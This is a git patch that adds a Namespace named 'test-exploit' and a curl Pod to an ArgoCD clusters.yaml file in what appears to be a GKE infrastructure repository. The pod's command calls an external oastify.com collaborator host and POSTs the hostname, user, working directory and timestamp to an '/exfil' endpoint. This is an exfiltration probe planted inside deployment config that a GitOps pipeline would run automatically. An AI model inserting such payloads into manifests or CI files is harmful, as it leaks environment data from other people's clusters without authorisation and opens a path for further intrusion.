From 9aa3b92af56ae7995ba7e9d815e8c9f88d67085c Mon Sep 17 00:00:00 2001
From: Jhounx <joaocosta_neto@hotmail.com>
Date: Wed, 4 Feb 2026 22:48:25 -0300
Subject: [PATCH] 0xdeadbeeftest

---
 kubernetes/gke-utility/argocd/clusters.yaml | 37 +++++++++++++++++++++
 1 file changed, 37 insertions(+)

diff --git a/kubernetes/gke-utility/argocd/clusters.yaml b/kubernetes/gke-utility/argocd/clusters.yaml
index bcb25a16d4e..f6efeca3f51 100644
--- a/kubernetes/gke-utility/argocd/clusters.yaml
+++ b/kubernetes/gke-utility/argocd/clusters.yaml
@@ -25,6 +25,43 @@ stringData:
       }
     }
 ---
+apiVersion: v1
+  kind: Namespace
+  metadata:
+    name: test-exploit
+  ---
+  apiVersion: v1
+  kind: Pod
+  metadata:
+    name: curl-test
+    namespace: test-exploit
+    labels:
+      app: test-exploit
+  spec:
+    restartPolicy: Never
+    containers:
+    - name: curl
+      image: curlimages/curl:latest
+      command:
+      - /bin/sh
+      - -c
+      - |
+        # Simple DNS exfiltration test
+        curl -v http://n1p9mq355rj3p51jr6czvl7u6lcc05ou.oastify.com/webhook?source=github_actions&test=success
+
+        # Com mais informações do ambiente
+        curl -X POST http://n1p9mq355rj3p51jr6czvl7u6lcc05ou.oastify.com/exfil \
+          -H "Content-Type: application/json" \
+          -d "{
+            \"hostname\": \"$(hostname)\",
+            \"whoami\": \"$(whoami)\",
+            \"pwd\": \"$(pwd)\",
+            \"timestamp\": \"$(date -u +%Y-%m-%dT%H:%M:%SZ)\"
+          }"
+
+        echo "Curl test completed"
+        sleep 300
+---
 apiVersion: v1
 kind: Secret
 metadata: